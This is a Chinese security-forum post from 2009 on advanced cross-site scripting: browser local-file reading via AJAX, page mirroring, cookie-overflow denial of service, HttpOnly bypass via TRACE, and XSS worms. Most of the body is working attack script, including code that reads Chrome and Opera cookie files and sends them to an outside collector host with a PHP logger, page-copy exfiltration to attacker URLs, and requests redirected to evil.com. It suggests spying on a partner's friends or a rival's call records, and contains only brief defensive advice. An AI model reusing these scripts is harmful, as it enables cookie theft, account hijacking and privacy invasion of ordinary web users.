XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
: P/ w+ }1 ?$ n8 g! X+ y) W$ S本帖最后由 racle 于 2009-5-30 09:19 编辑 ' K2 }! ~, n! x4 N; ^
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页7 N# P; \, ?5 }" S
By racle@tian6.com 4 f; \* W" \% ~
http://bbs.tian6.com/thread-12711-1-1.html; u& J# K, s. p1 N) T: {/ n) M5 f
转帖请保留版权! M/ q* B' D' P- r$ `3 i# i
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& F; M4 O d/ S- ?, \-------------------------------------------前言---------------------------------------------------------- {( I$ D4 j2 u0 k- m
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:0 S, r) {7 }; [4 k- Q* j
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
: e" a0 }+ ^% bhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全" j! {/ S5 g W' F8 q# \' b
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
: ?5 m' _+ g8 ?. v, Qhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
% C: S1 x: t0 g1 j! {) Q( Hhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码/ {; ^4 |" _# u) ?
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持, T) U8 a- T# _( j7 i7 q+ j
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8 {1 F0 b) G8 T如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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; ^; z% S8 _* c/ {: x) R) C: O' ?希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.: V4 @! `5 l; Z( ]
" y" @: A! l4 O, D如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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3 D G3 H% D+ a% EOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------* E' z! p( q, n4 E. V5 R. G
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性., ]- |. c% a( f/ L' ^. Y; M+ x
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# V% b; |& f" ^; ?跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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& U: Z1 k% F) S0 z如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
& C7 t/ f$ W& ?( t复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
/ f6 P$ z% u ~. n! X; r我们在这里重点探讨以下几个问题:9 h; N7 ?: [' T) g
) {# }5 Z# i$ q: J! G1 通过XSS,我们能实现什么?* S0 i1 G; m" U7 M1 ]6 o: I
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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" c5 `5 v+ e6 R3 r4 XSS漏洞在输出和输入两个方面怎么才能避免.
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------------------------------------------研究正题----------------------------------------------------------
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# H: `% o1 K9 J4 {+ h8 N6 v通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.$ E/ e& G+ Q. N$ `
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫( [9 ^. |) b8 w
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
) U! W4 T! n) d$ S8 U6 ^1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.5 |0 U9 t# q9 S, d" _$ V5 n$ s
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
! s0 I7 r7 o/ X1 q3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.' V3 ^% O, R1 Z2 h
4:Http-only可以采用作为COOKIES保护方式之一.3 S* z3 ]9 o# V' l5 c% q# k- J( O
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)) q; m4 ] E, v' U$ i
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。/ k/ V3 W) o+ u' I- ?% J% D
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7 r. ?. j [' m9 } 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。) ~4 n9 \7 p$ [3 U2 p
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
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function $(x){return document.getElementById(x)}8 f D: \8 j! p! Y# M
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if(window.XMLHttpRequest) {9 S4 F8 s! j7 [6 k# ]& e
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request = new XMLHttpRequest();
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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( ]4 R" A0 p; g$ u) Z( T for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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} catch(e) {}
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}
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}
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}
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var _x = ajax_obj();; ~+ | P; ^8 q* a8 C+ i
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function _7or3(_m,action,argv){
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- m. P& i- U9 \( v: L0 x if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);
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</script>. ]4 U- L+ \& e4 d0 d H. O
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>/ [, T) {7 y/ d# s
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function $(x){return document.getElementById(x)}
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var request = false;
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, `- k3 ]2 B8 X- y } else if(window.ActiveXObject) {
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0 k5 r" o2 [ J3 i* x* h var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',* @: z+ P( \3 u( {7 t3 b# p [
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];7 T) Y7 k9 u* {# R3 f8 W: P
/ E- F6 e0 f% Q% v6 C for(var i=0; i<versions.length; i++) {
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try {# u" j1 {0 h2 m2 X9 o2 m
, C& ^# J/ n$ r5 T F1 | request = new ActiveXObject(versions);
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} catch(e) {}
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}
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var _x = ajax_obj();2 P! c+ K( G+ X' ~0 H
2 N8 l. L' R% B+ A5 O- U function _7or3(_m,action,argv){
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' q3 a/ F4 K8 F" t# v _x.open(_m,action,false);
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7 O; Q t% U$ L8 w if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;
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}
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var txt=_7or3("GET","1/11.txt",null);, L9 a& G" u; B+ n3 F/ z* C
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alert(txt);
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</script>
6 A: f* f/ t3 i复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”/ c- v, o( R/ e L- V
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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' y- s6 }$ ]6 Q# s0 R" Y author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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header("Content-Disposition: attachment;filename=kxlzx.htm"); % r5 v' \5 a Y* Q6 A5 ~( R2 G
# T0 H( s4 A ~+ e' U' V7 q0 ^. N% w$ y% aheader("Content-type: application/kxlzx");
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/*
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set header, so just download html file,and open it at local.
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden"> , e9 a: |8 ?, x6 Z7 i5 F( v6 e6 D9 o
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<script>
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function doMyAjax(user)
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: i' g8 D' T7 j" c{
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' K% {" F, U; W; Kvar time = Math.random();
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/*
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, J# E5 T9 [& B/ h# Kthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History . C9 |6 P: x0 F1 H: j3 u
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and so on...
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$ I. S1 ]8 Y: A7 i5 Q6 _! e: t8 wvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; - M1 i2 T/ h4 \ T$ w
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startRequest(strPer);
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E4 }5 }. G, |# F3 B7 y4 h W3 i& } f. w+ D( `, Z
! x" P6 B$ M8 d' u; j}
+ l' r. K3 J! h+ X. p: O" ?) P& O4 ^7 W4 N( `& T3 |" t% J$ T
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; ?- Z& p7 A0 O- k1 `0 a# |4 `function Enshellcode(txt) ' w; R& s* ?! ]% Q8 _
% q8 ~3 u) ^- ]2 T, G: O{ 1 j4 K: G% }% ~
- c, y- h, Y5 H# v2 C: Lvar url=new String(txt);
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0 ~) S, s5 B9 @+ }' K- xvar i=0,l=0,k=0,curl="";
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l= url.length; ! z# G/ ^- _3 T2 `
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for(;i<l;i++){
9 m+ Z# F' k( M3 L2 U
/ {" f# r8 @' i+ c! q p3 Wk=url.charCodeAt(i);
1 @9 ?7 U% N; i3 i7 p* a# P5 S. F# g [- q) r0 |: }% D
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
! ], D) B2 T, f1 o1 y5 G0 X6 D9 j: l1 [$ `9 [ ^- G
if (l%2){curl+="00";}else{curl+="0000";} ( _) n" m% I- M, p/ X
+ ?: F `" ^1 s8 [* H4 q
curl=curl.replace(/(..)(..)/g,"%u$2$1");
$ Y! u& `7 c- k" p
! k, R. I5 K4 g6 L3 U I& @) i: Ereturn curl;
r- k6 ?& o c5 @; i" \- g
" T% Y4 q( A6 [- l# D& N" y}
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; ~9 A7 V' @% t+ i
f& U1 c- m% k, I$ Z& |0 N
8 K' W1 P# @4 u - O# }5 o9 B/ g h
9 h, d6 i& t' Z; ?6 wvar xmlHttp; / f: d; Y1 w& y5 R
. F. n) Z, R$ D) d4 k/ s/ n
function createXMLHttp(){
. D' F6 F3 n0 \2 W
+ M% P K$ ^- l# _1 @ if(window.XMLHttpRequest){
- ?; I3 n- n! {4 s
( [# z _' d5 M: G8 t. OxmlHttp = new XMLHttpRequest(); ( {- d3 P% M2 h" c" @0 c& z4 M A; J
3 W. M6 f! P% N2 J \6 [
} : h; \; Y- H' l7 [
$ I% a& H/ `5 M& u9 S) y9 b
else if(window.ActiveXObject){
6 s8 A- Z5 l* a( d
! o% _ g- I# X @8 exmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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} : y% n) ?- h6 L( V* N" H
/ _; z- O7 s' A% h
% p6 q/ Q& z( v' }
% p! l+ Z6 R1 i% O! ~3 A; Cfunction startRequest(doUrl){ : W1 K$ \2 `! M1 _& o+ L: D
. z1 _% o+ i9 U5 P8 C' @' |. n, S' e% U " X. O& K+ x/ H V* H
2 U% T( H1 d6 B4 h8 e) f
createXMLHttp(); 9 T% u, m) ~. Z* {5 F
8 U/ z( o4 n: r# ^) U- g6 ]/ O
. ^" v( O. f& O6 G: h
; m+ `; j" J' Q: h+ m xmlHttp.onreadystatechange = handleStateChange;
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; a0 L7 M! _& u xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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$ }/ ^8 f* ], x
" s6 t/ }/ T7 t0 L3 Z+ r}
9 b( }. {4 s2 Y1 A# u7 }$ ]- h: m+ I" Y0 E" G
9 j' f6 g9 C- O. u/ a* }4 \5 B$ W, ^
0 a( @6 Z" y: @$ q0 T, q7 U
function handleStateChange(){ 4 w9 H. T& I2 M/ Y- i: _# q
- C4 r0 G) @( R" z- I/ p
if (xmlHttp.readyState == 4 ){ * z5 w! U+ D1 {! S0 j! q. @& j
0 z. c9 h! j5 c4 ]+ O1 J var strResponse = ""; ( h1 P3 }4 }; n v+ M+ ^8 c
8 S/ a& i: w7 \( p5 b% H
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 2 a3 \6 X: }5 K6 I
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g7 M. A( b$ v$ h0 v }
0 l# C e& v( u7 T/ {1 e' P7 t4 z1 F- b" |9 C7 u9 k
} 1 ~- h* ~6 j% ^3 E: U+ x C
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function framekxlzxPost(text) 9 e) I$ P8 z$ Z Z! o& }
4 u5 _9 v0 |. D{
" R* @. D7 [2 r. n. T+ N/ Q6 O7 h2 W$ @; r
document.getElementById("input").value = Enshellcode(text); 4 g. s' X2 O$ h) l/ h) n8 _( Z
9 Q' B9 `' d* _ document.getElementById("form").submit();
% ]) B! n a7 x# _5 \
. \6 C* V4 N. Z8 ?9 o) d8 c}
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1 g% e/ }! `' d% \3 v 3 S& }( `3 s3 Q- P1 Y2 C
. d8 K" R4 [: vdoMyAjax("administrator"); ; p6 s: L; z) V% b, d/ {9 D
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</script>, Z4 i8 o+ o. }/ U A. l- h
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> 2 @4 X# b- N) P
0 Y& k4 @4 P! P% Q lvar xmlHttp; # M- Q+ T1 E1 g
& I0 r y' Y+ m0 R* rfunction createXMLHttp(){ 9 A: ^6 G1 f# L! {! m! O5 j
Y& _" Z1 ^% y if(window.XMLHttpRequest){ + Y& Q# o3 p/ d! d6 d- W
, U$ }* p: n+ } xmlHttp = new XMLHttpRequest(); " X+ {& C. b. A4 H1 \1 \
! T" D3 }2 Q; k; b& X' J3 B
} 6 ~; u0 I' D- b
. B0 l% b0 ?0 h" i: t else if(window.ActiveXObject){
/ e' ~: p8 S! k$ X0 t9 L) Q; m+ ~6 P" Q1 W1 T$ `2 V1 q( _
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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}
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: s4 K- |0 {% p) `function startRequest(doUrl){
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createXMLHttp();
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9 a) d4 v. m# r6 T$ ~4 r
# T: [" u. n8 U ^& c xmlHttp.onreadystatechange = handleStateChange; - O3 N$ Z, ]6 M( ^2 n5 V
+ d1 J3 S- q+ _; k8 h) [% B 9 c, ]0 l6 q$ j0 h3 E
2 z& a1 x" k) G& ?6 ] xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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2 ]' _ E; o% y7 k( G) d- [7 H4 e " O( `: h8 X/ X0 b1 _
2 C6 c4 l! v: e6 @' h! v1 p
function handleStateChange(){
9 _" R9 v5 M5 \9 U$ Y8 p3 p; W5 \0 Z1 J7 }$ X# ~
if (xmlHttp.readyState == 4 ){
0 F9 {, s# t& @4 C7 v. Q7 n( o
2 s2 z1 ?. {1 f: m2 f' v( { var strResponse = ""; * o4 D' n: O/ x+ c
1 k5 \& R& R2 u( } setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); * v" X) u) M$ E: {# g* a9 a
* u' Q. r5 X; _! E2 Y4 l
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1 L) }. T8 p; m, l }
a# p( d6 f9 y" k# |; ^: m% L9 g9 k3 ~. }7 I; c/ b, a
} - C5 d4 d4 E8 x+ Y8 Z, H' u/ s: `
7 Z& H$ C* y+ ]' z) t " ]% x# N6 _4 _6 i% z* |
I+ _0 I- G1 h3 R2 ?* J. Tfunction doMyAjax(user,file)
* w+ Y q t, E9 z8 i& N# n0 r- n' m2 C* y- Q% W: o
{ * x7 ^+ `/ z* ]: ` e* J
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var time = Math.random(); % C) M7 S9 B6 ~: X
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) }8 o- A l. q% @% [; n
; ]8 v: a# W5 m) X8 o9 ?' C5 e3 \! ~ var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; # r' \1 q3 m$ X" Q. `
" q7 ?' _& a! i- n- c
/ A8 X/ b4 j/ ?& M
* H; G. a" q: k, t( ~% B( C startRequest(strPer);
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, C' d' u7 ~9 n7 y0 x) M" D
! v I# ?( g" f# I; x0 c. p& c7 X6 q
function framekxlzxPost(text)
% _( w, o7 o- V) L
9 Z( ~& g7 S+ h{
5 m0 s* N, D# {
5 f: d7 d6 V# H3 z, l0 g, m0 t document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); * B( N+ E5 O; ~8 ?$ F
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alert(/ok/);
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@; j8 [; p' V9 R' S" i3 j; i
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doMyAjax('administrator','administrator@alibaba[1].txt'); - [% q0 _7 _. y
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, v: G4 r0 i2 q# S% W$ N</script>
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8 Q- n) n( `+ q3 N8 c- T& ^3 S& }( A5 l) Y+ A* X
- n" Y9 S$ {' S5 Y8 E4 }
$ k2 ]2 _7 ~/ E- A# l# w8 ]7 F0 B, ^2 g9 Y- E+ y4 N' B
a.php
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# ^& ?# k" f( ^3 f
<?php
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+ w- ?5 i/ T9 F; y; T, Z: v9 n! R
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8 O7 Y5 M1 |, c# ~2 Q) h( r% ]% ?$ D$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
3 H% O/ }# \, b3 G( H
" L3 L2 A3 `3 e$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; ' V! B7 u* L# p1 q
; |+ J2 @9 }+ D a5 u3 F! A
/ Q) m& N: v. S& Z( D0 R) t% g& f6 a3 a& U! k" {
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 2 z ^% d& s; p3 f" Z8 s. g9 \+ [
, f1 J0 N! H' Q+ b1 Tfwrite($fp,$_GET["cookie"]); d: G3 G- R8 t
/ J6 X& q8 I: lfclose($fp); % d! H4 V0 n" v& m$ t* G5 X
8 ?" T, X5 Q% x7 ?+ t?>
v8 c2 g) B+ P0 c. N! s复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.) y) a& N* P. y, u
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.0 m- y" j/ ]0 a3 w% R/ A3 @
8 F. C/ Z# e; I) M7 D代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
% S+ C& n/ i4 a0 w
p* q, ~8 p5 u( q, M2 x' _//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);9 O# C% y: ~; ?- R4 u# ^6 m
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function getURL(s) {+ M* k v0 }& D7 K
% z: L0 F2 Y$ v$ Tvar image = new Image();
' V4 \8 s- @+ o. e7 s' w8 w7 ^7 k+ Q) ]! O4 Z; a" L" Q# O6 C, ]
image.style.width = 0;9 ^! T1 _! T3 _9 C+ K) R
5 \/ T3 |* k! b5 M M) m [image.style.height = 0;
( J3 P; Y1 l% {, j6 n! P! s* g- _$ P5 m* s8 B* J
image.src = s;
/ X; U. }. d7 D7 v7 g( d, J9 Z! x3 E; i+ D% X2 ^! [
}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
" ~3 B; f* i% x' [7 I8 r复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.7 T( E) ~) G5 l/ k8 P1 y
这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A" v) h* V2 l6 l
y; h" w5 f9 F. E4 M# uvar str = "";
" }2 b- J) h' b* ^) \" \: w' |# `# X
while (str.length < 4000){9 W- P, F4 h) a
9 y# \: O7 ]2 d' L str += metastr;
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
6 B3 s U$ Y& o/ Q. o
* }' w2 j4 I" {5 f3 F- e</script>
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7 y" X; _: P5 C d' Q详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
5 Y' B- j" E, S( {6 ~6 ^复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.' o( P: e+ W) l) t! b+ X
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150- Z5 V& @! `& J, ? _! B
5 M6 H5 J5 o5 w9 L/ a0 m l/ X假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.1 G& T7 `# G/ R: k
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.$ Y$ o! g' c2 G/ R7 O& h% n
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(III) Http only bypass 与 补救对策:
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/ _7 }, m! g+ [什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.: |& G: }2 k, X
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript"># ?" ~4 u; R" A5 n' y# {
& h; f- o$ Y) ~
<!--
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function normalCookie() {
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) o5 @, m* l0 T" f T2 ndocument.cookie = "TheCookieName=CookieValue_httpOnly";
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+ p5 T$ U1 r+ d, {alert(document.cookie);
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7 ?/ p! ^: }, @( s
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6 v( t, [0 j' Q/ C
# r0 s0 F9 s* [2 x2 k$ l' ffunction httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
3 F# S8 j/ v# o- z
5 [/ X3 G v0 c, Z; K5 D: S0 Lalert(document.cookie);}- V& G* a0 V. C/ I \0 P1 e1 m9 J
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//-->
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2 M/ C) o+ S" O3 T. v: ^4 n9 j</script>0 p* [9 h! p G+ @
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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% Z B1 Y) b3 Z) E8 C" e* \5 t+ s: n ^<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>/ q7 i, E; c2 ?, h$ I& n" ]! @' z9 |
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
# \( {, @% O0 j! m% U9 [& F6 p+ H9 F# E( V4 ^7 t
" D" y6 i% O8 t8 `
2 \. S- {3 R! c& L& I9 [5 Y* cvar request = false;2 \6 r$ h3 w2 X7 K
4 y, ~9 c s$ q0 d, v0 I: X6 f; ?
if(window.XMLHttpRequest) {: o& D: i% x# P. o
, {- T4 [. ]/ r# n8 ^# `0 ?$ A request = new XMLHttpRequest();" P. L0 f5 j* W3 w# j/ s3 Q, `
3 x; z( S! _) H" f* s9 B. v if(request.overrideMimeType) {
1 G% u/ [) s! Y) t9 S# b+ X9 d; ^% ]
request.overrideMimeType('text/xml');# r0 |0 {5 j8 j1 p
7 Y3 d! x8 d+ \% ^& O1 T }3 b3 B3 B+ q1 x1 r: T
% a# }2 }( u6 r. O } else if(window.ActiveXObject) {0 j5 ?% I0 `- m8 j: z
: w5 x1 u6 E( l) `$ H var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];1 v& Q* j3 R/ O, p" ^- J
3 k3 w( G* X$ s6 U: g$ ^ for(var i=0; i<versions.length; i++) {7 A9 K; ]! Y/ T* C
& @: V/ G o- j) G& j: c try {
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1 O' q3 a$ a% l! y- I$ F( p6 W request = new ActiveXObject(versions);
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} catch(e) {}3 m2 V) \: u9 H6 j( j
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xmlHttp=request;; W$ H9 b- ~; z, {
8 o. s! y9 {: `" BxmlHttp.open("TRACE","http://www.vul.com",false);
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5 A; M& I$ B* x3 wxmlHttp.send(null);+ I" c1 D! N& E, Y9 ~3 p
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xmlDoc=xmlHttp.responseText;
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8 R, n* j, Y9 k7 v* z' x) p @alert(xmlDoc);/ Q9 m0 A( ^$ _
6 ]$ P/ F& E2 X6 L0 [$ K</script>
: C# F4 _$ Y6 W: {) y复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);3 Q# |5 `. A9 e1 u4 l+ T3 `
' ~ _+ ?" j7 \0 _/ B& Z1 uXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");) r# L l2 w0 a# \. y0 s- t" d9 y0 ?
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XmlHttp.send(null);8 ~9 a8 Y8 z3 o" a; T/ \' Z
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var resource=xmlHttp.responseText8 O! B+ B. c! V+ `: r U& J
( {$ z% p, s/ O' Iresource.search(/cookies/);, V( _6 P- R/ t4 J
# ^; `& K4 J+ \+ _% i( ~
......................
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</script>/ T4 [8 h- W/ w! q0 t' k# d
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9 p- p% H5 H, Z* V0 A# |8 Z! }4 h6 m% c
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求5 K& B; F6 ?9 y" v2 T
9 m7 ~2 T! P2 d% q, R) }7 e[code]
; q9 r3 x$ s5 T, v0 F: q
+ p; X! u( u3 g% w( C4 t8 }, zRewriteEngine On b$ T* f4 s" C
. h8 T# p3 R# }$ H9 w$ MRewriteCond %{REQUEST_METHOD} ^TRACE% j0 B& M6 n& V1 G7 e
/ z8 E9 B5 u4 w2 a6 }RewriteRule .* - [F]
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Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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2 Y( [# O: j3 n1 W" \- H. j# z1 S, ^acl TRACE method TRACE
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& ?# N; S" d# n, C! M. R3 u9 a! U...! X0 f$ S' z* m H0 j) [/ \! ?
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http_access deny TRACE4 B: G0 G' I4 ]! s9 ^# v6 M
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);7 f3 Z! r- t, L+ l
`+ I9 c* N) _/ v1 OXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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( j3 B! t. G7 b6 [. t( e% Z</script>
) R* M* P6 _3 s. d# N复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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% T- f7 [! c; U& D! Qvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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0 c# F3 o0 D/ ?3 {6 yXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);; B% S! Q& _; q2 {
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XmlHttp.send(null);) ^" e+ F4 v0 }8 f# w8 U
7 l3 N6 N7 Y, |/ a5 L$ x<script>
( S* o' X6 k/ m4 D" F2 W5 Y复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.4 ?/ L$ w7 J5 \" |
复制代码案例:Twitter 蠕蟲五度發威
( ~4 W: d' |, z$ M8 ?第一版:
% t9 l+ x5 O2 W3 L$ H 下载 (5.1 KB)
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6 天前 08:278 }) g4 h% o$ n2 z2 F, b* I# w
